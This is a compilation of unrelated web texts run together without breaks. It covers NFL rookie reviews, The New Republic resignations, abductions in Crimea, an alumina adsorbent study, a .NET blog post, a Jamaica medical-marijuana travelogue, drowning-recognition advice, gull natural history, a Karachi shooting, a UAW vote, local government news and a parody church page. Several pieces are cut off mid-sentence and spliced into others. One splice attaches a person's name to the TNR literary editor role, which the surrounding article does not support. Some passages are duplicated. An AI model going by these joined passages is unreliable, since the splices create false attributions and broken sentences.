The Saints' second of two first-round draft picks, Stephone Anthony, stepped right into a starting role as the middle linebacker and signal-caller for New Orleans' defense. He played nearly every snap all season and tied for 20th in the NFL with 112 tackles. The Saints credited Anthony with 142 tackles by their own accounting, which broke Hall of Famer Rickey Jackson's rookie franchise record. Anthony also had a sack, an interception and two forced fumbles. The 6-foot-2, 245-pounder still went through some growing pains, especially in pass coverage. But his poise and athleticism stood out, and he should be a building block going forward for a defense that needs as many as it can get. -- Mike Triplett
QB Jameis Winston threw for 4,042 yards and 22 touchdowns with 15 interceptions in 2015, making him just the third rookie quarterback to surpass 4,000 yards. The other two? Cam Newton and Andrew Luck. The Bucs' offense finished fifth overall -- fifth in rushing and 17th in passing -- despite being led by a rookie. Winston should be named the league's Rookie of the Year. -- Mike DiRocco
NFC WEST
Running back David Johnson was already a dynamic three-way threat before he took over for the injured Chris Johnson after Week 12. For the season, he posted 1,636 all-purpose yards and a franchise rookie record of 13 touchdowns. -- Josh Weinfuss
With a tip of the cap to right tackle Rob Havenstein for a solid rookie campaign, there's not much of a debate here. Running back Todd Gurley is a frontrunner for the NFL's Offensive Rookie of the Year award after he finished third in the NFL in rushing (1,106 yards) despite playing in only 13 games and starting just 12. Give Gurley some stability on the offensive line and a passing game that can keep defenses from loading the box, and you have all the makings of the type of RB who can carry a team on his back. -- Nick Wagoner
Jaquiski Tartt was a relative unknown as the Niners' second-round draft pick out of Samford, but the strong safety made his presence felt immediately with his hard-hitting style. And after taking over the starter's role when veteran Antoine Bethea was lost for the season with a shoulder/chest injury in Week 10, Tartt sacked Jay Cutler, intercepted Johnny Manziel. He finished the season with 65 tackles. -- Paul Gutierrez
The Seahawks drafted Tyler Lockett expecting a dynamic returner who could eventually develop into a wide receiver. What they discovered was he was already a pretty good pass-catcher. Lockett's 664 receiving yards ranked third among rookies, and his six touchdowns were tied for first. Despite being only 5-foot-10, Lockett showed he can beat press coverage on the outside and make tough catches. He was an All-Pro on special teams, scoring as both a kickoff returner and a punt returner. On top of the production, Pete Carroll called Lockett the hardest-working player on the team at one point during the season. Not a bad debut for someone who lasted until the third round. -- Sheil KapadiaTo begin with, let’s be clear that Timur Gafarov is a |
former" literary editor of The New Republic.
Those who resigned are senior editors Jonathan Cohn, Isaac Chotiner, Julia Ioffe, John Judis, Adam Kirsch, Alec MacGillis, Noam Scheiber, Judith Shulevitz and Jason Zengerle; executive editors Rachel Morris and Greg Veis; digital media editor Hillary Kelly (who resigned from her honeymoon in Africa); legal affairs editor Jeffrey Rosen; and poetry editor Henri Cole and dance editor Jennifer Homans. Contributing editors Anne Applebaum, Paul Berman, Christopher Benfey, Jonathan Chait, William Deresiewicz, Justin Driver, TA Frank, Ruth Franklin, Jack Goldsmith, Anthony Grafton, David Grann, David Greenberg, Robert Kagan, Enrique Krauze, Damon Linker, Ryan Lizza, John McWhorter, Sacha Z. Scoblic, Cass Sunstein, Alan Taylor, Helen Vendler and Sean Wilentz.
Many of those who resigned on Friday believe that Hughes and Vidra now intend to turn TNR into a click-focused digital media company, at the expense of the magazine's strong editorial traditions and venerable brand, according to sources who attended the gathering at Foer's house.
"The narrative you're going to see Chris and Guy put out there is that I and the rest of my colleagues who quit today were dinosaurs, who think that the Internet is scary and that Buzzfeed is a slur. Don't believe them," Julia Ioffe, one of the resigning senior editors, wrote in a Facebook post. "The staff at TNR has always been faithful to the magazine's founding mission to experiment, and nowhere have I been so encouraged to do so. There was no opposition in the editorial ranks to expanding TNR's web presence, to innovating digitally. Many were even board for going monthly. We're not afraid of change. We have always embraced it."
"As for the health of long-form journalism, well, the pieces that often did the best online were the deeply reported, carefully edited and fact-checked, and beautifully written," Ioffe wrote. "Those were the pieces that got the most clicks."
In an address to what remained of the New Republic staff on Friday, Vidra sought to quell the fears and provide encouragement, sources there said. Hughes, who was not in Washington for the meeting, assured the remaining staff, "I care about tradition." They did not take questions.
In a statement released after the meeting, Hughes said, "I am saddened by the loss of such great talent, many of whom have played an important role in making The New Republic so successful in the past. It has been a privilege to work with them, and I wish them only the best. This is a time of transition, but I am excited to work with our team – both new and old alike – as we pave a new way forward. The singular importance of The New Republic as an institution can and will be preserved, because it’s bigger than any one of us."
This post has been updated."What's he eating? Has he been able to cut his hair? And above all, is he still alive?" These are the questions Abdurashid Jeparov, a resident of the Tatar village Sary-Su in Crimea, has been asking himself ever since his 18-year-old son Islam disappeared. Jeparov describes his son as a tall, slim young man and a practicing Muslim who wanted to study medicine. On 27 September Islam wanted to visited his five nephews who are being raised by his widowed sister. He used to visit them every day. That evening he set off to see them with his cousin, 25-year-old Cevdet.
"Later that evening a car drove in front of my house and honked loudly. It was a neighbor. She had just seen unidentified people dragging Islam and Cevdet into a car," says Jeparov. According to the witness, the car had tinted windows and a Crimean license plate, and the men who got out of it were wearing a uniform with white writing on the back. Jeparov stresses that he went straight to the police. "They could have blocked all the roads. You can't get very far in Crimea!" But that didn't happen – which is why Jeparov suspects Russian policemen were involved in the kidnapping.
Trail to Turkey and Syria
Crimean Tatars in Sary-Su's village mosque
When the investigators interrogated the relatives, Jeparov says he was made to feel not like a victim but a culprit. "They held us until late into the night, and asked questions about Islam and its different currents, including the radical ones. Whether this was something I knew about! Of course the investigators have to gather information. But they have to understand me as a father. My son has disappeared," Jeparov says.
This is not the first misfortune in Abdurashid Jeparov's family. His eldest son Abdullah has been missing for the past two years. Abdullah and Cevdet initially planned to go to Turkey to earn money. Then the two cousins ended up in the Syrian war zone. Cevdet came home, Abdullah did not. No one in the family wants to talk about why the young men were in Syria, but perhaps no one really knows. It's possible they were fighting on the side of the Free Syrian Army.
Parallels with Chechnya?
"We don't know what's happening today in Crimea. But we do know what goes on in the northern Caucasus," the Russian human rights activist Alexander Cherkassov said in an interview with DW. "People there are being held for months in basements and tortured to make them give up information about the Islamist underground. Afterwards they're usually killed. It's seldom that anyone manages to stay alive."
According to the human rights activist, the Russian federal security service, the FSB, is behind it all. He says that secret service agents take names given under torture as a pretext for new abductions. Cherkassov doesn't rule out the possibility that following the Russian annexation of the Ukrainian peninsula, these methods of fighting extremism may now also be applied in Crimea.
Activists from "Ukrainian House" missing
Elvira Zinetdinova's son has been missing since May
Seyran Zinetdinov's is another story. He's been missing since the spring of 2014. He works for the social organization "Ukrainian House" in Crimea, which is investigating the disappearance of their activists Leonid Korsch and Timur Sheymardanov. According to the social organization "Crimea Field Mission for Human Rights," which is active in Russia, Ukraine and Crimea, Seyran had information proving that pro-Russian "people's militias" were involved in the abductions.
On 30 May Seyran left his house to meet Sheymardanov's wife. Seyran's mother Elvira Zinetdinova reports that she received an automatic text message two days later with the message that Seyran's cellphone had reception again. But none of her calls have been answered. "This has nothing to do with Crimean Tatars. Sheymardanov is only half-Tatar, and Leonid Korsch is a Jew. This all happened because of the 'Ukrainian House' investigation," says Elvira.
Relatives organizing contact group
Sary-Su's residents fear for their children's safety
Abdurashid Jeparov has now founded the "Contact Group for Human Rights" along with the parents of other victims of abduction. It collects information not only about abductions but also about other crimes. Seven people have gone missing in Crimea since March, most recently 23-year-old Eskender Apselyamov, who disappeared in Simferopol on October 3. The most sensational abduction took place in early March, even before Crimea was annexed by Russia. The Crimean Tatar Rishat Ametov was simply marched off in front of a large number of people by persons unknown in camouflage battle dress. He was found dead ten days later.
The parents of the abductees hope that their children will remain unscathed. Many families in the village of Sary-Su are living in fear. "We don't let our children go to school alone any more," says Jeparov. "No one here can be sure any more that a calamity like this won't happen to them, too."Decrease Size Increase Size Print Water Treatment
A convenient route for the fabrication of a bio-mimetic, coral-like nanoporous γ-Al 2 O 3 with a higher capacity to adsorb Hg(II) in aqueous solution than those of commercial Al 2 O 3, has been reported by a research group from Anhui Jianzhu University (Hefei City, China; www.ahjzu.edu.cn), the Chinese Academy of Sciences (Hefei, China; www.cas.ac.cn), and Monash University (Melbourne, Australia; www.monash.edu).
Generally, nanosized γ-AlOOH (boehmite) or γ-Al 2 O 3 adsorbents have been used to remove heavy metals, such as mercury from water due to their high surface area and the existence of rich adsorption sites. However, those adsorbents tend to aggregate in solution during the adsorption process, resulting in a decrease of adsorption efficiency. Also, they require centrifugation to separate the heavy metals from water, which limits their large-scale industrial application. Coral-like adsorbents might overcome this problem due to their hierarchical micro/nanostructure. The microsized units are composed of curled nano-sized units that can resist aggregation, maintain high exposed surface area, and they can be easily separated, leading to high adsorption efficiency. Therefore, coral-like aluminum-based materials should be high efficiency adsorbents.
The researchers fabricated the nanoporous γ-Al 2 O 3 by annealing coral-like γ-AlOOH based on an ethylene-glycol driven self-curled assembly process. In this process the ethylene-glycol works as a capping agent for the self-curled process of the layered structure of γ-AlOOH nanoplates, and also as a driving force for their assembly through a charge shielding effect.I watched the dotNetConf.NET Open Source Panel last week. It was a bit disappointing to hear defeatism in the voices of OSS project leaders, because.NET’s future appears to rely entirely on the success of open source software for.NET. Here are a couple reasons:
1. The success of Windows Azure. Azure is now an amazing cloud platform for developers and is getting better every few weeks. Azure is also a business success with annual revenue topping $1 billion. That’s $1 billion with only a 20% share of a $6 billion dollar market – a market that is expected to grow to $30 billion in 4 years. As Azure continues to pick up market share it is not completely unthinkable to see it post a 15+ billion dollar year in 2018, which is getting into the same double-digit-billion-dollar-revenue neighborhood as Windows itself.
The documentation page for Azure makes it clear where the growth will come from:
To paraphrase the above graphic, Microsoft doesn’t need legions of developers building frameworks and tools for Windows developers when they can have legions of programmers building tools and a cloud platform for all developers. Hadoop, Redis, NodeJS, RoR, Django, PHP, and the list goes on. Even if it doesn’t run on Windows, you can always spin up a ready made Azure virtual machine image with Ubuntu, CentOS, or SUSE.
I don’t think Azure needs a successful server-side.NET framework to be a success itself.
2. The Direction of Windows 8.
I still feel Window 8 carpet bombed.NET developers. There was secrecy and hearsay followed by the death of one XAML platform and the arrival of yet another slightly different XAML platform. People running a business based on desktop technology don’t know where to place their bets and the Windows division has always appeared hostile to the CLR. I’m not sure what this year’s Build and Windows Blue will bring, but I can only hope it offers some direction for businesses who build desktop business applications with managed code.
I don’t think Windows wants to see a successful client-side.NET framework.
Where Are We?
It feels as if Microsoft has shifted focus away from.NET, and with the focus goes resources and innovation. Much of the CLR and it’s associated assemblies and languages appear to be entering maintenance or refinement mode instead of advancing in new directions. Anyone building software on Microsoft’s.NET platform should see this as cause for concern.
Except …
The circle of software loosely surrounding.NET is exploding. There are more server side framework choices for C# developers than ever before, and client side web programming has advanced rapidly over the last few years with open source projects like AngularJS, Backbone, Ember, and Meteor. Document databases like MongoDB and RavenDB and key-value stores like Redis are all available to managed code, and products like Xamarin are pushing C# and mono to new platforms. What I’ve listed is a small sampling of what is happening and it is all pretty amazing when you sit back and look at the bigger picture.
Plus, if you already build solutions with ASP.NET MVC, Web Pages, the WebAPI, or the Entity Framework, you are already building software on top of open source projects that rely on other open source projects from the community.
What To Do?
If your business or company still relies solely on components delivered to developers through an MSDN subscription, then it is past time to start looking beyond what Microsoft offers for.NET development so you won’t be left behind in 5 years. Embrace and support open source.
At least, that’s how I see things.Emailed to contact.ipr@gmail.com by Steve Kubby and posted at shadowcabinet.us. Steve Kubby was the 2008 and 2000 runner up for the Libertarian Party VP nomination, the 1998 California Libertarian Party candidate for Governor, and a candidate for the 2008 Libertarian Presidential nomination. Posted to IPR by Paulie. Disclosure: I worked on Kubby’s 2008 Presidential nomination campaign.
A solder, armed with an assault rifle, steps onto the road and orders us to pull over. I quickly take one more toke and put out my joint, blow out my smoke, and prepare to go into warrior mode. Next I hear a loud, belligerent voice demanding to know if there are guns or drugs in our vehicle, a gleaming white BMW 645i, that obviously brought us this unwanted attention.
Before I can say anything, my host speaks up and says he has a 9 mm automatic pistol. He then disarms the loaded clip and hands it over to the soldier.
“Where’s your permit?” demands the soldier.
“I left it at home,” says my host.
The soldier becomes furious and threatens to impound the car and drag him off to jail. Instead of responding, my host turns, leans into the car and smiles at me.
“He’s just trying to squeeze some money out of me, don’t worry,” he quietly tells me.
My host dials up the Speaker of the House, the number two man in the government and puts him on speakerphone.
“Do you know who your fucking with, mon?”
The solder recognizes the voice of Speaker and begins to apologize profusely.
“You should have told me who you were; I was just looking for some lunch money,” he pleads.
My host tells me he also left is wallet behind and asks me for $1000 Jamaican, or about $15 US, which I quickly hand over to him.
“I smelled marijuana,” says the soldier, looking to squeeze a little more out of the deal.
“Yes, you did,” says my host, glaring back at the ill at ease soldier.
Life is certainly stranger than fiction, when you enter the world of medical marijuana.
In September 2007, Jamaica voters dumped the socialist,People’s National Party (PLP), and elected a somewhat more right wing, Jamaica Labour Party (JLP). That victory was largely made possible by the Rastafari movement. One year later, I received an invitation from the new government to meet with them and discuss medical marijuana. The invitation, I was told, was brokered by a wealthy Jamaican who served as the “Spiritual Advisor to the JLP.”
I flew down to Jamaica in October and spent a month there in meetings. During that time, I met with a number of resort owners who are anxious for medical marijuana tourists to come to stay with them. My Rastafari urged me to stay in Negril, at the Bar B Barn. I politely declined and told them I’m not into Country Western. They laughed and told me to trust them on this.
Soon, I found myself staying, right on the beach, at one of the most cannabis friendly resorts in the world. Toking up was no problem anywhere in the resort, including the dining area. Meanwhile, beach venders offered sticky buds for $15 US. Thanks to my Rasta friends, I was able to secure medical grade cannabis for $50, an outrageous price by Jamaican standards, but totally worthy.
Jamaica’s incredibly medicinal sativa strains have been badly polluted by indicas from Europe. You can find more about indica vs sativa here. Part of my mission in Jamaica was to determine if these incredibly valuable medicinal strains still exists. Jamaican have used these strains medically for hundreds of years, but the lure of quicker flowering and more expensive indica strains, has been devastating to the old Landrace strains that had been carefully bred for medical properties. Indica is fairly easy to get hold of, and many people now choose to buy indica online.
Strains from Cambodia and Thailand are grown in Jamaica and the resulting soaring sativas are outstanding. However, indigenous Jamaican strains like LambsBreath seem more elusive than ever.
During my entire stay, the Spiritual Advisor, personally drove me and served as my host — the same advisor and host who packs a 9 mm and drives the V8 BMW.
My host arranged for me to meet with a number of officials, including Speaker of the House and Minister of Health and Environment, as well as former MP and current president of Jamaica Air. I also met with a physician and scientist, who have been producing medical cannabis medicines in Jamaica for over a decade.
During my stay, the Jamaican Cabinet met with the Minister of Health to debate allowing medical cannabis in Jamaica. A decision was made that there was too great of a risk of economic sanctions by the US for Jamaica to change its laws, at least for now.
Meanwhile, for those who rely upon cannabis as their medicine, or those who find other value in this amazing herb, Jamaica offers a safe and pleasant alternative.Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
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"We're fine!" the husband yelled, waving him off, but his captain kept swimming hard.
"We're fine; what is he doing?" she asked, a little annoyed.
"I think he thinks you're drowning," the husband said to his wife. They had been splashing each other and she had screamed but now they were just standing, neck-deep on the sand bar.
The new captain jumped from the deck, fully dressed, and sprinted through the water. A former lifeguard, he kept his eyes on his victim as he headed straight for the couple swimming between their anchored sportfisher and the beach.
Hey there, time traveller! This article was published 8/6/2013 (2089 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 8/6/2013 (2089 days ago), so information in it may no longer be current.
The new captain jumped from the deck, fully dressed, and sprinted through the water. A former lifeguard, he kept his eyes on his victim as he headed straight for the couple swimming between their anchored sportfisher and the beach.
JOHN WOODS / THE CANADIAN PRESS If you spend time on or near the water (hint: that's all of us) then you should make sure that you and your crew know what to look for whenever people enter the water.
"I think he thinks you're drowning," the husband said to his wife. They had been splashing each other and she had screamed but now they were just standing, neck-deep on the sand bar.
"We're fine; what is he doing?" she asked, a little annoyed.
"We're fine!" the husband yelled, waving him off, but his captain kept swimming hard.
"Move!" he barked as he sprinted between the stunned boat's owners.
Directly behind them, not three metres away, their nine-year-old daughter was drowning. Safely above the surface in the arms of the captain, she burst into tears, "Daddy!"
How did this captain know — from 20 metres away — what the father couldn't recognize from just three?
Drowning is almost always a deceptively quiet event. The waving, splashing, and yelling that dramatic conditioning (television) prepares us to look for is rarely seen in real life.
Drowning is not the violent, splashing call for help that most people expect. The captain was trained to recognize drowning by experts and years of experience. The father, on the other hand, had learned what drowning looks like by watching television.
If you spend time on or near the water (hint: that's all of us) then you should make sure that you and your crew know what to look for whenever people enter the water.
Until she cried a tearful, "Daddy," she hadn't made a sound.
As a former Coast Guard rescue swimmer, I wasn't surprised at all by this story. Drowning is almost always a deceptively quiet event. The waving, splashing, and yelling that dramatic conditioning (television) prepares us to look for is rarely seen in real life.
Drowning people don't wave or yell
The Instinctive Drowning Response — so named by Francesco A. Pia, Ph.D. — is what people do to avoid actual or perceived suffocation in the water. And it does not look like most people expect. There is very little splashing, no waving, and no yelling or calls for help of any kind.
To get an idea of just how quiet and undramatic from the surface drowning can be, consider this: It is the No. 2 cause of accidental death in children, ages 15 and under (just behind vehicle accidents). Of the children who will drown this summer, about 375 of them will do so within 25 metres of a parent or other adult.
Pia, in an article in the Coast Guard's On Scene magazine, described the Instinctive Drowning Response like this:
1. Except in rare circumstances, drowning people are physiologically unable to call out for help. The respiratory system was designed for breathing. Speech is the secondary or overlaid function. Breathing must be fulfilled before speech occurs.
2. Drowning people's mouths alternately sink below and reappear above the surface of the water. The mouths of drowning people are not above the surface of the water long enough for them to exhale, inhale, and call out for help. When the drowning people's mouths are above the surface, they exhale and inhale quickly as their mouths start to sink below the surface.
3. Drowning people cannot wave for help. Nature instinctively forces them to extend their arms laterally and press down on the water's surface. Pressing down on the surface of the water permits drowning people to leverage their bodies so they can lift their mouths out of the water to breathe.
4. Throughout the Instinctive Drowning Response, drowning people cannot voluntarily control their arm movements. Physiologically, drowning people who are struggling on the surface of the water cannot stop drowning and perform voluntary movements such as waving for help or reaching out for a piece of rescue equipment.
5. From beginning to end of the Instinctive Drowning Response people's bodies remain upright in the water, with no evidence of a supporting kick. Unless rescued by a trained lifeguard, these drowning people can only struggle on the surface of the water from 20 to 60 seconds before submersion occurs.
One way to be sure if someone is OK? Ask them, 'Are you all right?' If they can answer at all, they probably are. If they return a blank stare, you may have less than 30 seconds to get to them.
This doesn't mean a person that is yelling for help and thrashing isn't in real trouble — they are experiencing aquatic distress. Not always present before the Instinctive Drowning Response, aquatic distress doesn't last long, but unlike true drowning, these victims can still assist in their own rescue. They can grab lifelines, throw rings, etc.
KEN GIGLIOTTI / WINNIPEG FREE PRESS Children playing in the water make noise. If they get quiet, find out why.
Look for these other signs of drowning when persons are in the water:
Head low in the water, mouth at water level
Head tilted back with mouth open
Eyes glassy and empty, unable to focus
Eyes closed
Hair over forehead or eyes
Not using legs — vertical
Hyperventilating or gasping
Trying to swim in a particular direction but not making headway
Trying to roll over on the back
Appear to be climbing an invisible ladder
Sometimes the most common indication someone is drowning is they don't look like they're drowning. They may just look like they are treading water and looking up at the deck.
One way to be sure? Ask them, "Are you all right?" If they can answer at all, they probably are. If they return a blank stare, you may have less than 30 seconds to get to them.
And parents — children playing in the water make noise. When they get quiet, get to them and find out why.Habitat Ring-billed Gulls are often found in and around urban, suburban, and agricultural areas. In coastal areas, Ring-billed Gulls frequent estuaries, beaches, mudflats, and coastal waters. In winter, these birds are common around docks, wharves, and harbors. Ring-billed Gulls are more commonly seen inland than most other gull species. They can be found at reservoirs, lakes, ponds, streams, landfills, parking lots, and shopping malls.Back to top
Food Able to thrive on almost any available source of nutrition, Ring-billed Gulls eat mostly fish, insects, earthworms, rodents, grain, and garbage. Common fish prey include alewife, smelt, nine-spined stickleback, and yellow perch; insect meals feature primarily beetles, flies, dragonflies, and bugs. In the western U.S., many Ring-billed Gull populations find most of their food on farm fields, forgoing fish altogether. In addition to their more common fare, Ring-billed Gulls have been known to eat dates, cherries, blueberries, and strawberries, as well as French fries and other food discarded—or left unguarded—by people.Back to top
Nesting Nest Placement Ring-billed gulls nest in colonies numbering from 20 to tens of thousands of pairs. They build their nests on the ground near freshwater, usually on low, sparsely vegetated terrain. They may nest on sandbars, rocky beaches, driftwood, bare rock, concrete, or soil. They often choose sites near or underneath low plants to hide them from aerial predators. Nest sites tend to be used for multiple seasons, by new or returning pairs. Nest Description The male and female cooperate in constructing the nest—a scrape in the ground lined with twigs, sticks, grasses, leaves, lichens, or mosses. Some nests are minimalist affairs with almost no lining. The nest's outer diameter ranges from about 10 to 25 inches, with an inner cup about 9 inches in diameter and 2 inches deep. Nesting Facts Clutch Size: 2-4 eggs Number of Broods: 1 brood Egg Length: 2.0-2.6 in (5-6.6 cm) Egg Width: 1.4-1.8 in (3.6-4.6 cm) Incubation Period: 20-31 days Nestling Period: 4-5 days Egg Description: Pale olive gray with dark brown speckles. Condition at Hatching: Covered in camouflaged gray and brown down feathers; eyes open by end of the first day; may leave nest briefly by 2 days old. Back to top
Behavior Ring-billed Gulls are strong, graceful flyers. They can race along at more than 40 miles per hour, and they're adept at snatching food from the air. You may see these birds hovering, soaring, or poised and stationary in the wind. Adults play by repeatedly dropping objects, then swooping to catch them—perhaps honing their hunting moves. These gulls use a wide variety of foraging methods: walking around on land; stamping their feet in shallow water to uncover small invertebrates; skimming shallow water for small fish; nabbing insects out of the air. They steal food from other birds, hunt for small rodents, and scavenge along beaches, parks, and garbage dumps. Birds in large nonbreeding groups usually space themselves evenly, about 3–6 feet apart. Like many other gull species, when Ring-billed Gulls are feeling aggressive they'll lower their head, begin calling, and then raise their head up to their shoulders. This can escalate to an exaggerated toss of the head over the back while calling. To signal submission, a Ring-billed Gull will draw its head back in toward its shoulders and make shorter, calmer calls, sometimes tossing its head up or away from its opponent as well.Back to top
Conservation After nearly succumbing to hunting and habitat loss, Ring-billed Gull populations increased in most areas between 1966 and 2014, according to the North American Breeding Bird Survey. The North American Waterbird Conservation Plan estimates a continental breeding population of 1.7 million birds, and rates the species a 5 out of 20 on the Continental Concern Score. Ring-billed Gull is not on the 2014 State of the Birds Watch List. These gulls can be found throughout the year in the U.S. and Canada, with some wintering in Mexico and other areas of Central America. Their populations plummeted during the late nineteenth century, when humans encroached on the birds' nesting grounds and killed them for feathers to decorate hats. By the early 1900s many breeding sites were defunct. Protection under the 1917 Migratory Birds Convention Act (Canada) and 1918 Migratory Bird Treaty Act (U.S.) helped bring the species back, and now this species once again thrives across the United States and southern Canada—so numerous in some places that they are considered pests. In the middle of the twentieth century, Ring-billed Gulls around Lake Ontario proved susceptible to the pesticide DDT and to PCB pollution. Environmental regulations in the 1970s helped reduce pollution levels. Humans have generally helped Ring-billed Gulls by providing extra foods, including introduced fish; insects and grain exposed on farm fields; and discarded food and refuse. The Ring-billed Gull continues to extend its breeding range—likely fueled in part by the edible garbage available at open landfills.Back to topPakistan's security forces are facing criticism after paramilitary troops were caught on camera apparently shooting dead a teenager at point-blank range.
The footage, broadcast repeatedly on local television, is likely to further undermine faith in the country's powerful security establishment, which is already facing allegations it helped conceal Osama bin Laden.
The video, captured by a cameraman from Pakistan's Awaz television channel, shows a youth, identified as Sarfaraz Shah, arguing with paramilitary rangers in Karachi. The 18-year-old appears to plead for mercy before being shot at close quarters. He then falls to the ground and screams in pain as blood pools beneath his legs.
Zohra Yusuf, head of Pakistan's independent Human Rights Commission, condemned the killing as "another indication of law enforcement personnel becoming increasingly trigger happy."
She said the violence depicted in the video was a trend seen across Pakistan that reflected the impunity of the country's law enforcers.
Pakistan's prime minister, Yousuf Raza Gilani, said an inquiry would be launched and the culprits punished. Six members of the paramilitary Rangers, who are controlled by the interior ministry, have since been arrested.
Major general Aijaz Chaudhry, who commands the force, described the incident as "deplorable". "The Rangers have no authority to kill any unarmed individual and they can fire only in self-defence," he said. "On completion of the inquiry, all those found responsible will be given strict punishment."
The incident is likely to further dent public faith in the government's ability to control its security forces at a time when the US ally is facing questions about how bin Laden could have hidden for so long without the complicity of intelligence officials.
"What we saw on television shows that now there is the law of the jungle in this country and no one is accountable for his action or deeds. This is pathetic," Mohammad Sultan, a retired soldier, told Reuters.
"What we are seeing is visual records of what we have long documented, which is the culture of impunity in the Pakistani law enforcement agencies," said Ali Dayan Hasan, a researcher for Human Rights Watch. "What is becoming clear is that the free for all, the culture of wanton abuse and killing, is becoming untenable in the age of new media and cell phone cameras."
In one media interview, a man identified as Salik Shah, the victim's brother, said: "My brother was a victim of barbarism, brutality and aggression and everyone has seen it. The innocent young man was begging for his life regardless of whether he had done anything wrong. He was asking to be pardoned by the rangers; despite his repeated requests they did not listen to him, they did not arrest him, instead they were adamant about killing him and in the end they did."
Hundreds of people showed up at Shah's funeral a day after his death and denounced the Rangers. Some shouted "Rangers, murderers!" and others carried signs that said "Down with the Karachi Rangers."
The video's broadcast comes a few days after a prominent journalist was tortured to death after reporting claims about al-Qaida. Military intelligence officials have rejected claims they played a role in the killing.
Pakistan's Daily Times newspaper said the military, paramilitary forces, police and intelligence agencies "who confidently violate human rights" should be held accountable for their actions.
"The security and law enforcement forces that do not respect the law themselves are inviting anarchy, which arguably is already under way," it said in an editorial.
Last year, a video emerged of two teenage brothers being beaten to death before being strung up on a metal pole in broad daylight as police personnel looked on.Auto workers reject UAW at Tennessee VW plant
By Tom Eley and Jerry White
17 February 2014
In a devastating defeat for the United Auto Workers union, workers at Volkswagen’s Chattanooga, Tennessee plant voted against the UAW last week. With nearly 90 percent of the workers casting ballots, the UAW lost the certification vote by 712 to 626.
The debacle left UAW President Bob King and other union officials stunned. UAW executives had spent millions of dollars on the campaign and were counting on the backing of VW management, which agreed to work with the UAW to set up a German-style “works council” at the plant.
Predictably, UAW officials blamed the defeat on right-wing Republican politicians and the supposedly “antiunion” sentiment of workers themselves. In fact, Chattanooga workers voted “no” because they correctly saw that the UAW would function as nothing more than a company union. UAW leaders like President Bob King and Region 8 Director Gary Casteel made it clear that the UAW would do nothing to address workers’ grievances over low pay, the increased use of casual labor and poor working conditions. On the contrary, UAW officials made it clear that they would keep wages low and productivity up—and subtract union dues from workers’ paychecks to boot.
Before the vote, workers became aware of a clause in the Volkswagen-UAW “neutrality agreement” promising the automaker the union would engage in “maintaining and where possible enhancing the cost advantages and other competitive advantages that [Volkswagen] enjoys relative to its competitors in the United States and North America.”
In other words, the UAW told Volkswagen it would keep wages “competitive” with the Detroit-based automakers. The Chattanooga workers could only take this as a threat; full-time workers hired at the Volkswagen plant in 2011 earn about $5 more per hour |
-election in the Nov. 4 election, where they are challenged by five other candidates.
Sandefer questioned the timing of the vote, which comes about two months before an election that could change the council majority.
Hill said the city wouldn’t be locked into the decision.
“There is nothing that we’re doing that is irreversible if the new council wants to change direction,” he said.
Krupa didn’t question the timing in relation to the election, but wondered how accurate the Cal Fire proposal is in the wake of a 4 percent pay increase awarded to state firefighters effective next year.
“I don’t think we have sufficient information or looked at the numbers close enough to make a decision on Tuesday. I’m surprised it is on the agenda so soon with all of the flux in the numbers.”
Milne said she is happy the issue is finally coming to a vote.
“This has been going on since before I was elected,” she said. “It’s been so long, it’s been dragged out unnecessarily.”
It is unknown how many of Hemet’s current firefighters would be retained by the state agency.
Hill said those who are paramedic-qualified will have a better chance of remaining.
Sandefer is not as confident.
“No guarantees have ever been made that they all will be (retained),” he said.
The city has spent almost two years evaluating proposals from its own department and the county’s. Hemet is one of just a handful of Riverside County cities with its own fire department, including Riverside, Murrieta and Corona. The others contract with Cal Fire.
Contact the writer: 951-368-9086 or cshultz@pe.com— Small businesses impacted by the expanding Metro Rail system will receive more than $65,000 Monday as part of a pilot program to provide financial relief for losses incurred during construction.
Los Angeles Mayor and Metro Board Chair Eric Garcetti will be joined by Metro Board members Supervisor Mark Ridley-Thomas and Jacquelyn Dupont-Walker to deliver the first checks from the Business Interruption Fund at the Metro Construction Area, located in the 6000 block of Wilshire Boulevard, at 10 a.m.
The program was created by the Metro Board last year to provide financial assistance to “mom and pop” businesses located along the Crenshaw/LAX line, the Little Tokyo area of the Regional Connector and segment one of the Purple Line subway extension.
The Metro Board has designated up to $10 million annually for the fund.
MTA spokespersons Jose Ubaldo and Marc Littman called it an “unprecedented program for public construction projects in the United States” in a press release.
According to Metro, qualifying businesses, which include “those with at least two years of continuous operating history, 25 or fewer total employees” in good standing with taxing and licensing authorities and “those able to produce relevant financial records demonstrating a loss of business revenue directly related to the period of construction disruption,” can be awarded up to $50,000 annually.
Additional information is available online via Metro and Pacific Coast Regional Small Business Development Corporation, which the agency states is administering the funds.Welcome to the official website for the First Reformed Church of SpongebobSquarepants - are you ready? Are you in a joyless, faithless void? Have you rummaged through the spiritual offerings of a planet that is so morally bankrupt, little seems good? Honest? Reliable? Have you battered your way through churches that make you feel guilty? Offer little for introspection or personal edification beyond "worship?" Attract followers by hating others? Are you ready for something new and better? Something honest, earnest and fun?Something that can make you feel good without making you feel bad? Perhaps you have never considered going underwater to find a belief system worth investing in...you probably never, in your wildest dreams, thought that the secrets to living a happy, contented and fulfilling life could come from a tiny animated sponge. With the First Reformed Church of Spongebob Squarepants, you can finally experience:
· Church that finds joy in the little things in life, and isn't afraid to say so.
· A Church that offers complexity for the complex, and simplicity for the simple. You can even mix the two up if you want.
· A Church that doesn't want your money and only wants you to be happy.
· A Church that presents it's precepts and spiritual instruction in an easily accessible format.
· A Church you can enjoy in your own home - no special building to go to.
· A Church that realizes that simple things, like having fun, using your imagination, and enjoying what you do, are important in life.
· A Church that doesn't attract people by hating or excluding a certain type of person.
· A Church that is ready eddy eddy to have you as a member!
· last updated: May 1.05
